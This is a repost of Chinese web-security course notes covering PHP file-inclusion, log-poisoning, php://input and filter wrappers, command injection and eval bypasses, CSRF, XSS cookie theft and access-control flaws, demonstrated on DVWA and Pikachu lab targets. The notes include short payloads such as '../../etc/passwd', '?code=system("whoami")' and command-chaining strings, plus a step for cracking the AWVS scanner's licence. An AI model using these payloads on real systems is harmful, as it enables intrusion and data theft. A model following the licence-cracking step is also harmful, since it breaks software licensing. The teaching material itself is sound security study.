  • 目录穿越:只打一个网站却能看整个服务器 C/D 盘 → 权限隔离很重要
  • 测试仅限合法授权范围
  • 不懂的函数查 PHP 官方文档,晦涩可复制给 AI 解释

五、考点速记(张老师原话要点)

  • “上传成功 ≠ 攻击成功,关键是文件能否被服务器按代码解析”
  • “仅靠前端校验等于没有校验”
  • “Content-Type 只是声明,set header 才决定解析”
  • “有没有 php3/php5 的 MIME 配置,直接决定攻击能否成功”
  • “AllowOverride 是 None 还是 All,决定 .htaccess 是否生效”
  • “user.ini 生效必须 php-fpm 模式”
  • “魔术数是文件的身份证号,改护照封面不能改变国籍”
  • “图片马是钥匙,文件包含漏洞是锁孔,缺一不可”
  • “二次渲染像临摹名画,密信会被过滤掉”
  • “条件竞争要掐准毫秒级时间差,原文件删除前让它跑一次,留下持久后门”

第十天

一、文件上传与文件包含漏洞

1. 文件上传漏洞(图片马)

  • 上传的图片马(图片中含 PHP 代码)要被执行,必须配合文件包含漏洞
  • 即使把 PHP 文件改成 jpg/png 后缀,在存在文件包含漏洞的环境下,系统仍会将其作为 PHP 代码执行
  • 判断:PHP 代码会被自动执行的前提是目标页面有包含点(include 函数使用位置),没有包含点图片马就失效

2. 文件包含漏洞原理

  • 页面通过接收用户传入的 file 参数决定包含哪个文件
  • 正常:只允许包含 file1/file2/file3 预设文件
  • 漏洞:直接把用户输入拼接到包含函数 → 可包含任意路径(如 ../../etc/passwd
  • 核心:包含操作必须严格限制目录范围
$file = $_GET['file'];  
include($file);   // 漏洞代码

3. 目录遍历

  • 相对路径/绝对路径都可用;上一级用 ../
  • 渗透测试中目录结构靠经验猜测(如 upload 目录、logs 目录)
  • DVWA 演示:可包含同级目录下的 f4 文件、创建 phpinfo 文件

4. 四个包含函数区别

函数失败行为重复包含
include警告,后续代码继续执行重复包含(包含4次输出4次)
require致命错误,脚本停止执行重复包含
include_once警告,继续执行仅包含一次
require_once致命错误,停止仅包含一次

演示重点:include 包含不存在的文件报错后,下面那句"执行结束"依然能输出;require 则直接终止。

5. 本地文件包含(LFI)vs 远程文件包含(RFI)

  • LFI:包含服务器本地文件
  • RFI:包含远程服务器上的文件(如 192.168.50.1 包含 192.168.50.158 上 nginx 的 test.php)
  • 路径写法:本地直接写路径;远程需要 http:// 协议指定
  • RFI 需开启:allow_url_include = Onallow_url_fopen = On

二、日志文件包含攻击

1. 原理

  1. 构造恶意请求(如访问 ?<?php phpinfo();?>),服务器把请求记录进日志
  2. 利用文件包含漏洞包含日志文件
  3. 日志中的 PHP 代码被解析执行(代码不要求后缀,只要含 <?php ?> 标签就会执行

2. 日志位置

环境路径
Apache(Linux)/var/log/apache/access.log
phpstudy 的 Nginxextensions/nginx/logs/access.logerror.log
  • access.log:记录所有成功请求(时间、客户端信息、URL)
  • error.log:记录报错信息(如 ?php phpinfo 异常请求)
  • 服务器默认有固定日志路径,除非管理员修改

3. 关键细节

  • 日志中特殊字符被自动 URL 编码<%3C),影响 PHP 执行
  • 解法:用 Burp Suite(Go)等抓包工具发送原始请求,绕过浏览器自动编码
  • 利用前提:猜中日志文件的具体路径,否则日志无价值

三、PHP 伪协议

3.1 php://filter — 读源码不执行

php://filter/read=convert.base64-encode/resource=文件名.php
  • 读取 PHP 文件时经 Base64 编码输出,不会被解析执行
  • 在线 Base64 解码即可还原源码
  • 用途:查看 phpinfo 等 PHP 文件源代码、安全审计

2. php://input — 执行请求体代码

  • 只读输入流,读取 HTTP 请求体(不是表单数据)
  • 配合文件包含:请求体里写 system() 等 PHP 代码,服务端直接执行
  • 注意:即使请求体原本为空,通过 php://input 仍能读取后续手动添加的内容

3. 其他伪协议

  • php://output:只写输出流
  • zip://:压缩包文件访问(高级课会用到)
  • 伪协议 = 封装器,决定数据的来源和去向(类似快递单);网络传输底层是二进制字节 → 电信号/无线电波

4. HTTP 请求结构(配合 php://input 利用)

请求行
参数部分
空行
请求体(可写入 PHP 代码)

Burp Suite 演示:抓包 → 文件包含参数改成 php://input → 请求体写 phpinfo(); → 直接执行


四、命令执行与代码执行

1. 命令拼接符号(Windows/Linux 通用)

符号含义示例
&&前一条成功才执行后一条ping 192.168.50.1 && whoami
\|\|前一条失败才执行后一条错误命令 \|\| echo “会执行”
;无条件顺序执行ping 192.168.50.1 ; ip a
\|管道:左边输出作为右边输入echo 127.0.0.1 \| ping
> / >>重定向写入 / 追加echo 6666 > 1.txt
`$()命令替换echo `ipconfig`
  • Linux 常用:ping -c 3 控制 ping 次数
  • 跨平台注意:Windows ipconfig ↔ Linux ifconfig/ip a

4.2 命令执行函数 vs 代码执行函数

类型函数说明
系统命令执行system()执行并输出
shell_exec()不自动输出,需 echo 配合
exec() / passthru()其他命令执行函数
代码执行eval()执行 PHP 代码,必须符合语法(分号结尾)
?code=system("whoami");   // eval 中执行成功  
?code=system("whoami")    // 缺分号 → 报错
  • 查全 PHP 代码执行函数:搜索"PHP 代码执行函数"
  • DVWA 中查看源码路径:phpstudy_pro/WWW/dvwa,访问 192.168.50.1:81/dvwa

3. DVWA 命令注入关卡(刻意留漏洞)

  • 低关:少黑名单函数(如 shell_exec 没被过滤)
  • 中关:封禁 && 但保留单 &;封禁部分符号
  • 高关:放开 ||
  • Impossible 等级 = 最佳防御参考

五、回调函数与绕过

1. 回调函数本质

  • 把一个函数作为参数传给另一个函数,需要时再调用
  • 传入的是函数对象(不是执行结果),其余参数透传
call_user_func("system", "whoami");  
// 参数1 = 回调函数名,参数2 = 透传给回调函数的实参

2. 绕过被禁用的函数

  • system() 被禁用 → 用 call_user_func("system","命令") 间接调用
  • 结合 eval 与 GET 双参数传递:
?code=call_user_func($func,"whoami")&func=system

3. GET 多参数传递

  • URL:?参数名1=值1&参数名2=值2
  • 参数名和值要正确对应,连接符 & 不能错

4. 调试技巧

echo $get;        // 数组只显示 "Array"  
var_dump($get);   // 完整显示数组内容
  • 变量名可任意替换(如 system 换成 $get),不影响底层执行逻辑

5. preg_replace 的 /e 模式

  • preg_replace 本身是正则替换函数
  • 漏洞:正则模式出现反斜杠 E(/e)修饰符时,第二个参数被当作 PHP 代码执行
  • 危险点:不能直接传源码,通常作回调函数使用

六、CSRF 跨站请求伪造

1. 原理(淘宝例子)

用户已登录淘宝(有效会话)
攻击者构造恶意链接 test.com,诱骗用户点击
浏览器自动携带淘宝登录凭证(Cookie)
以用户身份偷偷完成操作(转账/改密码)

  • 攻击者不需要知道密码,利用浏览器自动携带的登录凭证
  • 前提:受害者必须已登录目标网站,否则攻击无效

2. 关键演示(DVWA 修改密码)

  • 修改密码 URL 会暴露新密码参数(password_new=...
  • 未登录用户直接改参数无效(跳转登录页)→ 会话验证保护
  • 已登录用户能改成功是因为拥有修改权限——CSRF 本质是权限滥用,不是系统漏洞本身

3. XSS 窃取 Cookie(皮卡丘)

  • 皮卡丘自带 Cookie 收集后台:192.168.50.1/pikachu/pkxs
  • 浏览器访问该后台会自动携带当前站点 Cookie → 被收集
  • JS 跳转用法:document.location = 'http://www.baidu.com'(document 前缀可省略)

七、越权漏洞

1. 水平越权(同级)

  • 例:lucy 登录后修改 URL 中 username 参数为 lily → 越权查看他人信息
  • 原因:仅依赖前端传参验证身份,后端无二次校验
  • 防护:必须前后端双重验证

2. 垂直越权(跨权限级)

  • 例:普通用户"皮卡丘"(密码000000/123456)直接访问创建用户的 URL → 成功创建用户
  • 管理员比普通用户多的权限:删除用户、添加用户等
  • 原因:后端接口未做权限级别校验
  • 测试方法:管理员抓包 → 切普通用户登录 → 对比身份标识字段 → 重放测试

3. Session 与越权

  • Session 标识用户身份
  • 演示:把管理员 Session 换成普通用户 Session 后添加用户依然成功 → 权限验证失效
  • 类比:拿着普通员工工牌却进了总经理办公室(门禁系统失效)

八、漏洞扫描工具(AWVS)

1. 工具认知

  • Web 漏洞扫描工具基本收费且昂贵(AppScan、AWVS 等)
  • 分 Web 漏洞扫描 和 系统漏洞扫描 两类,安全服务工程师需掌握
  • AWVS 默认端口 3443

2. 使用流程

安装(正版需付费密钥,密码要牢记)→ 登录(邮箱+密码)
→ 语言切换中文 → 填写用户信息
→ 仪表盘:新建扫描 → 添加目标 URL → 开始扫描
→ 查看漏洞详情 → 导出报告

  • 添加目标需完整地址:http://IP:端口(如 DVWA 是 81 端口)
  • 登录认证两种方式:直接填 URL+账号密码 / 录制登录脚本
  • 扫描范围可选全站或特定目录;业务关键性、并发性可调(如"适度")
  • 快速扫描模式也能发现高危漏洞
  • 浏览器兼容:Edge/火狐可能不行,用谷歌浏览器
  • 破解:关闭程序 → 同目录 .bat 文件以管理员身份运行 → 等待完成

3. 报告处理(重要)

  • 仪表盘实时显示进度:请求数、漏洞数、漏洞等级(中危/高危)
  • 自动生成的报告不能直接使用
    • 需人工逐一验证漏洞、排除误报
    • 根据受众调整:总经理看漏洞截图+风险等级;开发人员看源码问题分析+修复方案
  • 报告默认纯英文
  • 未授权扫描他人网站属违法行为(警告:不要抱有侥幸心理)

4. 工具局限

  • 无法处理需要登录认证的页面(DVWA 扫不了内部页面)
  • 扫描动作本身可能触发安全警报
  • 靶场(皮卡丘)通常能扫出一堆高危漏洞,但正常网站结果可能"不对劲"

九、补充知识点

1. URL 编码

  • 百分号 + ASCII 码:<%3C>%3E、空格 → %20
  • 浏览器 GET 请求自动编码;抓包工具可绕过

2. 数据流与传输

  • IO 流 = 数据持续传输的通道
  • 数据:字符 → 二进制字节 → 电信号(网线)/ 无线电波(无线)
  • 传输介质决定信号类型

3. 日志与包含

  • 普通文本在 include 中无法识别执行,必须 <?php ?> 标签
  • include 立即执行 PHP 代码;服务器默认把 .php 交给解析器

4. PHP 版本差异

  • 不同 PHP 版本对安全漏洞影响不同(演示环境 PHP 7.3.4)
  • 配置参数注意大小写:allow_url_include 值用大写的 ON;Nginx 参数 off→on 保存后必须重启服务

转载自 CSDN-专业IT技术社区

原文链接:https://blog.csdn.net/2401_87256920/article/details/163397090

文章来源crawl

评论

赞0

评论列表

微信小程序
QQ小程序

关于作者

点赞数:0
关注数:0
粉丝:0
文章:0
关注标签:0
加入于:--